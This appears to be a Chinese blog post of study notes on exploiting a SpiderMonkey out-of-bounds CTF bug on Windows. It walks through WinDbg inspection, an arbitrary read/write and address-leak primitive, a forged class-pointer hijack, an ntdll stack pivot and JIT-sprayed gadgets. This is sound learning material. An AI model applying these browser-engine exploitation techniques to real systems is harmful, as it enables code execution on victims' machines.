Mid Station

SpiderMonkey Exploitation

有了之前Windows-Pwn-First-Blood的基础,趁热打铁把之前存下来介绍JS engine exploitation的文章给一起学习了。
Introduction to SpiderMonkey exploitation.
SpiderMonkey也就是Firefox使用的JavaScript引擎,之前在CTF比赛中也碰到过几次。力荐这篇文章,作者写得非常用心,可以说是手把手教了,从js引擎的编译到windbg的使用,其中对于spidermonkey数据的存储形式(JSValue)以及对象的结构(JSObjects)讲得非常详细。更加难得的是作者把原本在Linux上面的Blaze CTF题目迁移到Windows 10 RS5上面来练习,循序渐进给出了三个不同程度的exploit,借助一道题目发散思维学习,真正把题目利用到了极致。

有了@0vercl0k这篇教科书式的文章,自不敢画蛇添足,以下仅对学习过程中的一些思考作下记录。

TDD

作者提到在debug时候可以使用Windbg Preview提供的Time Travel Debugging(TDD)功能。
在Win10的应用商店里面下载Windbg Preview以后用管理员权限打开就能够选择TDD调试。
TDD
其实就跟linux下面的qira很相似,在运行的时候把每条指令的运行结果都保存起来,调试的时候就可以自由地选择向前执行和向后执行。控制执行的命令也非常简单,比如

1
2
3
p: 步过下一条指令; p-: 步过上一条指令
t: 步入下一条指令; t-: 步入上一条指令
g: 继续向后执行; g-: 继续向前执行

直观明了,想要往前翻加一个减号就行了。

断点与传参方式

在调试的时候有个绕不开的问题就是观察某个对象在内存中的布局。常见的做法是选择一个比较少用到的函数下断点(如js!js::math_atan2),把需要观察的对象作为参数传递给该函数。

1
2
const A = 0x1337;
Math.atan2(A);

然而如果到SpiderMonkey源码中观察js!js::math_atan2的实现,就会觉得一头雾水。这也是我在读这篇文章之前调试js引擎的时候觉得无从下手的地方。

1
2
3
4
5
6
bool
js::math_atan2(JSContext* cx, unsigned argc, Value* vp)
{
CallArgs args = CallArgsFromVp(argc, vp);
return math_atan2_handle(cx, args.get(0), args.get(1), args.rval());
}

从C++代码里面根本看不出传递给js::math_atan2的参数放在什么地方,作者给出的解释是函数签名中的第三个参数Value *vp会存放所有的参数,函数的内部会用JS::CallArgs的方法来处理vp进行参数的提取等操作。Javascript代码中的参数会存放在vp[2]开始的内存中。而断点在js::math_atan2函数的时候,vp作为第三个参数按照Windows的函数调用规则会位于r8寄存器,所以通过下面的命令就可以找到参数0x1337。

1
2
3
4
0:000> dqs @r8 l3
0000028f`87ab8198 fffe028f`877a9700
0000028f`87ab81a0 fffe028f`87780180
0000028f`87ab81a8 fff88000`00001337 <--

至于这里为什么0x1337会表示为fff8800000001337,简单说就是JS::Value中把一个8字节分为两部分来存放数据。高位的17个bits作为JSVAL_TAG用来表示数据的类型,低位的47bits作为payload_,会用来存放具体值(比如这里的0x1337)或者是一个指向JSObject的指针。原文中有详细的分析讲解。

Vulnerability and Exploit idea

题目设计了一个新的方法blaze()Array对象调用这个方法后长度被该为420,是一个明显的Out-Of-Bound(OOB)漏洞。

1
2
3
4
5
6
7
8
9
10
11
js> blz = []
[]

js> blz.length
0

js> blz.blaze() == undefined
false

js> blz.length
420

利用的思路也非常直接,在长度被改写的Array后面放置一个Uint8Array,需要特别留意Uint8Array对象的结构,因为其继承关系比较复杂:Uint8Array -> js::TypedArrayObject -> js::ArrayBufferViewObject -> js::NativeObject。我尝试直接用dt命令来找ArrayBufferViewObject相关变量的偏移地址,但是或出现成员变量缺失的情况:

1
2
3
4
0:000> dt js!js::ArrayBufferViewObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
+0x010 slots_ : Ptr64 js::HeapSlot

而作者采用的是直接读源码的方法,先找到源代码中ArrayBufferViewObject的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class ArrayBufferViewObject : public NativeObject
{
public:
// Underlying (Shared)ArrayBufferObject.
static constexpr size_t BUFFER_SLOT = 0;
// Slot containing length of the view in number of typed elements.
static constexpr size_t LENGTH_SLOT = 1;
// Offset of view within underlying (Shared)ArrayBufferObject.
static constexpr size_t BYTEOFFSET_SLOT = 2;
static constexpr size_t DATA_SLOT = 3;
// [...]
};

class TypedArrayObject : public ArrayBufferViewObject

然后结合NativeObject的结构信息来计算DATA_SLOT等重要成员变量的偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:000> ?? vp[2]
union JS::Value
+0x000 asBits_ : 0xfffe0216`3cb019e0
+0x000 asDouble_ : -1.#QNAN
+0x000 s_ : JS::Value::<unnamed-type-s_>

0:000> dt js::NativeObject 216`3cb019e0
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000216`3ccac948 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`f7ecdac0 js::HeapSlot

0:000> dqs 216`3cb019e0
00000216`3cb019e0 00000216`3cc7ac70
00000216`3cb019e8 00000216`3ccac948
00000216`3cb019f0 00000000`00000000
00000216`3cb019f8 00007ff7`f7ecdac0 js!emptyElementsHeader+0x10
00000216`3cb01a00 fffa0000`00000000 <- BUFFER_SLOT
00000216`3cb01a08 fff88000`00000008 <- LENGTH_SLOT
00000216`3cb01a10 fff88000`00000000 <- BYTEOFFSET_SLOT
00000216`3cb01a18 00000216`3cb01a20 <- DATA_SLOT
00000216`3cb01a20 00000000`00000000 <- Inline data (8 bytes)

能够确定DATA_SLOT相对于blz数组(OOB攻击对象)的偏移以后就好办了,此时只要改写DATA_SLOT为我们想要读写的地址,再结合LENGTH_SLOT就可以实现通过Uint8Array来进行任意地址读写操作了。因为往blz数组写值的时候实际上写入的是js::Value,作者继续介绍了内存映射地址和double型的js::Value的对应关系。
最后作者很贴心地给出了一幅图来说明这个利用的思路。
basic

在大多数Exp中,有了任意地址读写原语就基本上是为所欲为了,最直接的方法就是通过扫面内存的方式来找到攻击对象,改写某些函数指针来达成劫持控制流的目的。作者这里则是构造了一中更加实用的原语——对象地址泄露原语(object address leak primitive)。具体做法是把想要泄露的对象指针直接写到Uint8Array inline buffer的位置,然后通过访问Uint8Array头8个元素来读取对象的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
js> c = new Uint8Array(8)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0})

js> d = new Array(1337, 1338, 1339)
[1337, 1338, 1339]

js> b[14] = d
[1337, 1338, 1339]

js> c.slice(0, 8)
({0:32, 1:29, 2:32, 3:141, 4:108, 5:1, 6:254, 7:255})

js> Int64.fromJSValue(c.slice(0, 8)).toString(16)
"0x0000016c8d201d20"

Hijacking Control-Flow

就像上文所说的,有了任意读写地址漏洞以后,可以通过往栈的返回地址写ROP chain的方式,或者劫持Virtual-Table,甚至是通过劫持JIT函数的方式来劫持控制流。作者这里采用了直接改写对象方法函数指针的技巧,来自How to kill a (Fire)fox - en

简单说起来就是上文用到Uint8ArrayaddProperty函数指针改写成gadget地址。但是由于js对象复杂的继承关系,这件事情做起来会比较绕。步骤如下:

  1. Uint8Array继承自js::NativeObject,其第一个成员变量为group_,是指向js::ObjectGroup对象的指针。

    1
    2
    3
    4
    5
    0:000> dt js::NativeObject 0x016c8d201cc0
    +0x000 group_ : js::GCPtr<js::ObjectGroup *> <--
    +0x008 shapeOrExpando_ : 0x0000016c`8daac970 Void
    +0x010 slots_ : (null)
    +0x018 elements_ : 0x00007ff7`f7ecdac0 js::HeapSlot
  2. js::ObjectGroup的第一个成员变量为clasp_,是指向js::Class对象的指针。

    1
    2
    3
    4
    5
    6
    7
    0:000> dt js!js::ObjectGroup 0x0000016c`8da7ad30
    +0x000 clasp_ : 0x00007ff7`f7edc510 js::Class <==
    +0x008 proto_ : js::GCPtr<js::TaggedProto>
    +0x010 realm_ : 0x0000016c`8d92a800 JS::Realm
    +0x018 flags_ : 1
    +0x020 addendum_ : (null)
    +0x028 propertySet : (null)
  3. js::Class的第三个成员变量是cOps,是指向js::ClassOps对象的指针。

    1
    2
    3
    4
    5
    6
    7
    0:000> dt js!js::Class 0x00007ff7`f7edc510 
    +0x000 name : 0x00007ff7`f7f8e0e8 "Uint8Array"
    +0x008 flags : 0x65200303
    +0x010 cOps : 0x00007ff7`f7edc690 js::ClassOps <==
    +0x018 spec : 0x00007ff7`f7edc730 js::ClassSpec
    +0x020 ext : 0x00007ff7`f7edc930 js::ClassExtension
    +0x028 oOps : (null)
  4. 终于看到希望了,观察js::ClassOps就可以看到addProperty的指针了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    0:000> dt js!js::ClassOps 0x00007ff7`f7edc690
    +0x000 addProperty : (null) <--
    +0x008 delProperty : (null)
    +0x010 enumerate : (null)
    +0x018 newEnumerate : (null)
    +0x020 resolve : (null)
    +0x028 mayResolve : (null)
    +0x030 finalize : 0x00007ff7`f7961000 void js!js::TypedArrayObject::finalize+0
    +0x038 call : (null)
    +0x040 hasInstance : (null)
    +0x048 construct : (null)
    +0x050 trace : 0x00007ff7`f780a330 void js!js::ArrayBufferViewObject::trace+0

    0:000> !address 0x00007ff7`f7edc690
    Usage: Image
    Base Address: 00007ff7`f7e9a000
    End Address: 00007ff7`f7fd4000
    Region Size: 00000000`0013a000 ( 1.227 MB)
    State: 00001000 MEM_COMMIT
    Protect: 00000002 PAGE_READONLY
    Type: 01000000 MEM_IMAGE

很可惜这个地址段是只读的,我们要往前找到一个可以改写的指针,最早能被改写的是js::ObjectGroupclasp_,让其指向一个伪造的js::Class,最终导致c0ps.addProperty的指针能被我们随意操控。

Stack Pivot

接下来作者以一种神奇的方式在ntdll当中找到一个合适的ROP gadget,能够把栈转移到Uint8Array上面。个人觉得找gadget是非常痛苦的工作,尤其在ntdll这么庞大的文件中找到一个如此隐蔽的gadget实在是非常不容易。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:000> u ntdll+000bfda2 l10
ntdll!TpSimpleTryPost+0x5aeb2:
00007fff`b8c4fda2 f5 cmc
00007fff`b8c4fda3 ff33 push qword ptr [rbx]
00007fff`b8c4fda5 db4889 fisttp dword ptr [rax-77h]
00007fff`b8c4fda8 5c pop rsp
00007fff`b8c4fda9 2470 and al,70h
00007fff`b8c4fdab 8b7c2434 mov edi,dword ptr [rsp+34h]
00007fff`b8c4fdaf 85ff test edi,edi
00007fff`b8c4fdb1 0f884a52faff js ntdll!TpSimpleTryPost+0x111 (00007fff`b8bf5001)

0:000> u 00007fff`b8bf5001
ntdll!TpSimpleTryPost+0x111:
00007fff`b8bf5001 8bc7 mov eax,edi
00007fff`b8bf5003 488b5c2468 mov rbx,qword ptr [rsp+68h]
00007fff`b8bf5008 488b742478 mov rsi,qword ptr [rsp+78h]
00007fff`b8bf500d 4883c440 add rsp,40h
00007fff`b8bf5011 415f pop r15
00007fff`b8bf5013 415e pop r14
00007fff`b8bf5015 5f pop rdi
00007fff`b8bf5016 c3 ret

实际作用的语句:

1
2
3
4
5
6
00007fff`b8c4fda3 ff33            push    qword ptr [rbx]
[...]
00007fff`b8c4fda8 5c pop rsp
00007fff`b8bf500d 4883c440 add rsp,40h
[...]
00007fff`b8bf5016 c3 ret

作者在这里也没说到底是怎样找到这样一个恰好合适的gadget,所以这里也不多赘述。接下来就是通过这个神奇的gadget把栈pivot到Uint8Array上,而Uint8Array上放好了一个调用kernel32!VirtualProtect来打开Shellcode所在页执行权限的gadget。而这里用于弹计算器的Shellcode使用Binary Ninja的Shellcode Compiler来生成的。(我正好剁手买了BInary Ninja的个人版,感觉还是挺不错的)

至此,首个能弹计算器的Exp已经完成了,通过这个例子可以了解到针对这种js引擎的OOB漏洞利用方法的流程。其实之前比赛碰到的js引擎漏洞好像都是类似的OOB类型的,以后至少知道大概的方向了。
basic

JIT & Bring Your Own Gadgets (BYOG)

在最基础的攻击Exploit(basic.js)完成以后,作者总结除了几点不足:

  1. 偏移地址的硬编码。最好当然是能够动态解析出各个函数的偏移地址。
  2. 神来之笔般的stack pivot gadget。其实这也算不上什么缺点,只是复现起来比较困难而且不够可靠。
  3. 攻击完成后Shell不能继续执行。

第一个问题纯粹就是对PE文件结构解析的问题,可以类比于对ELF文件的GOT表做解析获取函数位置。比较有意思的是对第二个问题的解决方案,这里提到了一种借助JIT引擎的特性把gadget带入到可执行段内存映射当中的技巧(Bring Your Own Gadget)。
既然JIT的目的是把需要多次执行的JavaScript代码编译成asm来提高执行效率,那么这里其实隐藏着两个要素:

  1. JavaScript代码和asm代码之间必然存在一种对应关系
  2. 生成的asm代码肯定是放在可执行段的

因此我们要做的事情就很明确了:

  1. 找到JavaScript代码和asm之间的对应关系(并不用建立完全的模型,只需迫使JIT引擎生成要用到gadget的字节码)
  2. 找到生成字节码所在的地址

有了我们可以随意生成且位于可执行段的字节码,我们就可以用它来代替上文神来之笔的pivot gadget,节省掉了找gadget的时间之余也大大提高了exp的可靠性。
作者这里的思路是通过浮点数来构造任意字节码,首先定义了一个8byte序列转浮点数的函数:

1
2
3
4
5
6
7
8
9
function b2f(A) {
if(A.length != 8) {
throw 'Needs to be an 8 bytes long array';
}

const Bytes = new Uint8Array(A);
const Doubles = new Float64Array(Bytes.buffer);
return Doubles[0];
}

调用把0xdeadbeefbaadc0de转换为浮点数的效果

1
2
js> b2f([0xde, 0xc0, 0xad, 0xba, 0xef, 0xbe, 0xad, 0xde])
-1.1885958399657559e+148

接着把浮点数写进一个JavaScript函数,并通过多次调用来使JIT引擎转换其为字节码(“变热”)。

1
2
3
4
5
6
7
8
9
10
const BringYourOwnGadgets = function () {
const D = -1.1885958399657559e+148;
const O = -1.1885958399657559e+148;
const A = -1.1885958399657559e+148;
const R = -1.1885958399657559e+148;
const E = -1.1885958399657559e+148;
};
for(let Idx = 0; Idx < 12; Idx++) {
BringYourOwnGadgets();
}

接下来就是通过JSFunctionjitInfo_字段来找到jit字节码的所在页。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0:005> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff7`65362ac0 4056 push rsi

0:000> ?? vp[2]
union JS::Value
+0x000 asBits_ : 0xfffe01b8`2ffb0c00
+0x000 asDouble_ : -1.#QNAN
+0x000 s_ : JS::Value::<unnamed-type-s_>

0:000> dt JSFunction 01b82ffb0c00
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x000001b8`2ff8c240 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`6597d2e8 js::HeapSlot
+0x020 nargs_ : 0
+0x022 flags_ : 0x143
+0x028 u : JSFunction::U
+0x038 atom_ : js::GCPtr<JSAtom *>

0:000> dt -r2 JSFunction::U 01b82ffb0c00+28
+0x000 native : JSFunction::U::<unnamed-type-native>
+0x000 func_ : 0x000001b8`2ff8e040 bool +1b82ff8e040
+0x008 extra : JSFunction::U::<unnamed-type-native>::<unnamed-type-extra>
+0x000 jitInfo_ : 0x000001b8`2ff93420 JSJitInfo <==
+0x000 asmJSFuncIndex_ : 0x000001b8`2ff93420
+0x000 wasmJitEntry_ : 0x000001b8`2ff93420 -> 0x000003ed`90971bf0 Void

JSJitInfo第一个成员变量的位置就找到了字节码所在页,权限为可读可执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0:000> dt JSJitInfo 0x000001b8`2ff93420
+0x000 getter : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x000 setter : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x000 method : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x000 staticMethod : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x000 ignoresReturnValueMethod : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x008 protoID : 0x1bf0
+0x008 inlinableNative : 0x1bf0 (No matching name)
+0x00a depth : 0x9097
+0x00a nativeOp : 0x9097
+0x00c type_ : 0y1101
+0x00c aliasSet_ : 0y1110
+0x00c returnType_ : 0y00000011 (0x3)
+0x00c isInfallible : 0y0
+0x00c isMovable : 0y0
+0x00c isEliminatable : 0y0
+0x00c isAlwaysInSlot : 0y0
+0x00c isLazilyCachedInSlot : 0y0
+0x00c isTypedMethod : 0y0
+0x00c slotIndex : 0y0000000000 (0)

0:000> !address 0x000003ed`90971bf0
Usage: <unknown>
Base Address: 000003ed`90950000
End Address: 000003ed`90980000
Region Size: 00000000`00030000 ( 192.000 kB)
Protect: 00000020 PAGE_EXECUTE_READ
Allocation Base: 000003ed`90950000
Allocation Protect: 00000001 PAGE_NOACCESS

在所在页往下翻的位置就可以看到我们想要的0xdeadbeefbaadc0de字节码了。

1
2
3
4
5
6
7
8
9
10
11
12
0:000> u 000003ed`90971c18 l200
[...]
000003ed`90972578 49bbdec0adbaefbeadde mov r11,0DEADBEEFBAADC0DEh
000003ed`90972582 4c895dc8 mov qword ptr [rbp-38h],r11
000003ed`90972586 49bbdec0adbaefbeadde mov r11,0DEADBEEFBAADC0DEh
000003ed`90972590 4c895dc0 mov qword ptr [rbp-40h],r11
000003ed`90972594 49bbdec0adbaefbeadde mov r11,0DEADBEEFBAADC0DEh
000003ed`9097259e 4c895db8 mov qword ptr [rbp-48h],r11
000003ed`909725a2 49bbdec0adbaefbeadde mov r11,0DEADBEEFBAADC0DEh
000003ed`909725ac 4c895db0 mov qword ptr [rbp-50h],r11
000003ed`909725b0 49bbdec0adbaefbeadde mov r11,0DEADBEEFBAADC0DEh
[...]

总结思路起来就是先写好想要使用的gadget,控制好每个在8字节以内(少于8字节用nop补,多于8字节拆分后用short jmp连接)。然后用b2f转换成浮点数,将浮点数写进js函数然后通过多次调用使函数“变热”生成字节码。

这里还有一个小细节,在通过JSFunction函数对象顺藤摸瓜找到jit字节码所在页以后,还需要通过扫描内存的方法来搜索gadget的具体位置,所以作者在gadget之前放置一个magic number来确定gadget的开头

1
2
3
4
5
6
7
8
9
const Magic = '0vercl0k'.split('').map(c => c.charCodeAt(0));
const BringYourOwnGadgets = function () {

const Magic = 2.1091131882779924e+208;
const PopRegisters = -6.380930795567661e-228;
const Pivot0 = 2.4879826032820723e-275;
const Pivot1 = 2.487982018260472e-275;
const Pivot2 = -6.910095487116115e-229;
};

看到这里觉得利用JIT来生成所需字节码的BYOG技巧还是相当有意思的。在后续的第三个exp中,作者更进一步,干脆想直接让JIT引擎生成整段能够弹计算器的shellcode。但无疑这种方法需要耗费大量的时间来构造合适的代码,看得出来作者在研究到此处的时候已经十分蛋疼,目前来说这种方法通用性还不算强,感觉还是通过简单的BYOG加上调用库函数的方法来的更加可靠。